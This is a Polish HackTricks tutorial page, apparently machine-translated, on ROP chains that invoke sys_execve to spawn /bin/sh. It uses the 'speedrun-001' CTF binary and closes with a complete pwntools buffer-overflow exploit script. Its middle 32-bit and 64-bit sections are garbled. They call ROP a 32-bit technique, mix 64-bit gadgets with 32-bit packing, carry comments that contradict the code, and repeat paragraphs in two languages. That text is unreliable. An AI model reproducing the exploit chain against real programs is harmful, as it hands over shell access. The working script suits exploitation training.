13 KiB
ROP - wywołanie sys_execve
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Aby przygotować wywołanie syscall, potrzebna jest następująca konfiguracja:
rax: 59 Określ sys_execve
rdi: wskaźnik do "/bin/sh" określ plik do wykonania
rsi: 0 określ brak przekazywanych argumentów
rdx: 0 określ brak przekazywanych zmiennych środowiskowych
Więc w zasadzie trzeba zapisać ciąg znaków /bin/sh
gdzieś, a następnie wykonać syscall
(biorąc pod uwagę wymaganą wypełnienie do kontrolowania stosu).
Kontrola rejestrów
Zacznijmy od znalezienia sposobu na kontrolowanie tych rejestrów:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Z tymi adresami możliwe jest zapisanie zawartości na stosie i załadowanie jej do rejestrów.
Zapisz ciąg znaków
Zapisywalna pamięć
Najpierw musisz znaleźć zapisywalne miejsce w pamięci.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Zapisz ciąg znaków
Następnie musisz znaleźć sposób na zapisanie dowolnej treści pod tym adresem.
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
32 bity
ROP (Return Oriented Programming)
ROP (Return Oriented Programming) to technika wykorzystywana w celu wykonania kodu złośliwego na systemach 32-bitowych. Polega na wykorzystaniu istniejących fragmentów kodu zwanych "gadgetami" do skonstruowania sekwencji instrukcji, które wykonają żądane działania.
Wywołanie systemowe execv()
Wywołanie systemowe execv() służy do uruchamiania nowego procesu w systemie Linux. Przyjmuje dwa argumenty: ścieżkę do pliku wykonywalnego i tablicę argumentów. Funkcja execv() zastępuje bieżący proces nowym procesem, który wykonuje kod z pliku wykonywalnego.
Wykorzystanie ROP do wykonania wywołania systemowego execv()
Aby wykorzystać ROP do wykonania wywołania systemowego execv(), musimy skonstruować odpowiednią sekwencję gadgetów. Pierwszym krokiem jest znalezienie gadgetu, który umożliwi nam załadowanie adresu funkcji execv() do rejestru EAX. Następnie musimy znaleźć gadgety, które umożliwią nam załadowanie argumentów do odpowiednich rejestrów. Ostatecznie, musimy znaleźć gadget, który wywoła instrukcję INT 0x80, co spowoduje wykonanie wywołania systemowego.
Po skonstruowaniu sekwencji gadgetów, musimy znaleźć odpowiednie adresy w pamięci, aby skonstruować payload. Możemy to zrobić poprzez analizę wycieków pamięci lub innych technik.
Po skonstruowaniu payloadu, musimy go wstrzyknąć do programu, który zostanie podatny na atak. Możemy to zrobić poprzez nadpisanie odpowiednich obszarów pamięci lub wykorzystanie innych podatności.
Po wykonaniu payloadu, wywołanie systemowe execv() zostanie wykonane, co spowoduje uruchomienie nowego procesu z podanymi argumentami.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bity
ROP (Return Oriented Programming) - Wywołanie systemowe execv
W przypadku 64-bitowych systemów operacyjnych, aby wywołać funkcję systemową execv, musimy skonstruować łańcuch ROP, który umożliwi nam ustawienie odpowiednich rejestrów i wywołanie funkcji execv.
Przykład
Poniżej przedstawiono przykład łańcucha ROP, który wywołuje funkcję execv, przekazując ścieżkę do pliku wykonywalnego jako argument:
from pwn import *
# Adresy funkcji i gadgetów
pop_rdi = 0x00000000004006b3
pop_rsi_r15 = 0x00000000004006b1
execv_addr = 0x7ffff7e5f440
bin_sh_addr = 0x7ffff7f6e3e9
# Tworzenie łańcucha ROP
rop = p64(pop_rdi)
rop += p64(bin_sh_addr)
rop += p64(pop_rsi_r15)
rop += p64(0)
rop += p64(0)
rop += p64(execv_addr)
# Wywołanie funkcji execv
p = process('./vulnerable_program')
p.sendline(rop)
p.interactive()
W powyższym przykładzie używamy biblioteki pwn
do konstruowania łańcucha ROP. Adresy funkcji i gadgetów muszą być dostosowane do konkretnego systemu operacyjnego i wersji bibliotek.
Warto zauważyć, że przed wywołaniem funkcji execv, musimy ustawić odpowiednie wartości w rejestrach rdi
i rsi
. W powyższym przykładzie, rdi
jest ustawiony na adres łańcucha bin_sh_addr
, który zawiera ścieżkę do pliku wykonywalnego, a rsi
jest ustawiony na 0, co oznacza brak argumentów dla funkcji execv.
Po skonstruowaniu łańcucha ROP, możemy go przesłać do programu podatnego na atak i wywołać funkcję execv, co spowoduje uruchomienie pliku wykonywalnego wskazanego przez ścieżkę bin_sh_addr
.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Przykład
Let's consider a simple example to understand how Return-Oriented Programming (ROP) can be used to execute a syscall
function with the execv
system call.
Rozważmy prosty przykład, aby zrozumieć, jak Return-Oriented Programming (ROP) może być używane do wykonania funkcji syscall
z wywołaniem systemowym execv
.
#include <stdio.h>
#include <unistd.h>
int main() {
char *args[] = {"/bin/sh", NULL};
execv("/bin/sh", args);
return 0;
}
The above C program executes the /bin/sh
shell by calling the execv
system call. Our goal is to exploit this program using ROP to execute the same shell without directly calling execv
.
Powyzszy program w języku C wykonuje powłokę /bin/sh
, wywołując wywołanie systemowe execv
. Naszym celem jest wykorzystanie tego programu za pomocą ROP, aby wykonać tę samą powłokę bez bezpośredniego wywoływania execv
.
To achieve this, we need to find gadgets (short sequences of instructions) in the program's memory that end with a ret
instruction. These gadgets will allow us to chain together multiple gadgets to form a ROP chain.
Aby to osiągnąć, musimy znaleźć gadżety (krótkie sekwencje instrukcji) w pamięci programu, które kończą się instrukcją ret
. Te gadżety pozwolą nam połączyć ze sobą wiele gadżetów, tworząc łańcuch ROP.
We can use a tool like ROPgadget
to search for gadgets in the program's binary. Once we have identified the gadgets, we can construct a ROP chain that will execute the desired syscall
function with the appropriate arguments.
Możemy użyć narzędzia takiego jak ROPgadget
, aby wyszukać gadżety w binarnym pliku programu. Po zidentyfikowaniu gadżetów możemy skonstruować łańcuch ROP, który wykona pożądaną funkcję syscall
z odpowiednimi argumentami.
The ROP chain will consist of the addresses of the gadgets we want to execute, followed by the arguments for the syscall
function. We can then use a vulnerability in the program, such as a buffer overflow, to overwrite the return address on the stack with the address of the first gadget in our ROP chain.
Łańcuch ROP będzie składał się z adresów gadżetów, które chcemy wykonać, a następnie argumentów dla funkcji syscall
. Następnie możemy wykorzystać podatność w programie, taką jak przepełnienie bufora, aby nadpisać adres powrotu na stosie adresem pierwszego gadżetu w naszym łańcuchu ROP.
When the vulnerable program returns, it will start executing the gadgets in our ROP chain. Each gadget will perform a specific operation, such as loading a value into a register or modifying the stack, before returning to the next gadget in the chain.
Gdy podatny program zwróci się, zacznie wykonywać gadżety w naszym łańcuchu ROP. Każdy gadżet będzie wykonywał określoną operację, taką jak wczytywanie wartości do rejestru lub modyfikowanie stosu, przed powrotem do następnego gadżetu w łańcuchu.
By carefully selecting and chaining together the right gadgets, we can manipulate the program's execution flow to achieve our goal of executing the syscall
function with the desired arguments.
Dokładnie wybierając i łącząc ze sobą odpowiednie gadżety, możemy manipulować przepływem wykonania programu, aby osiągnąć nasz cel wykonania funkcji syscall
z pożądanymi argumentami.
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Odwołania
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.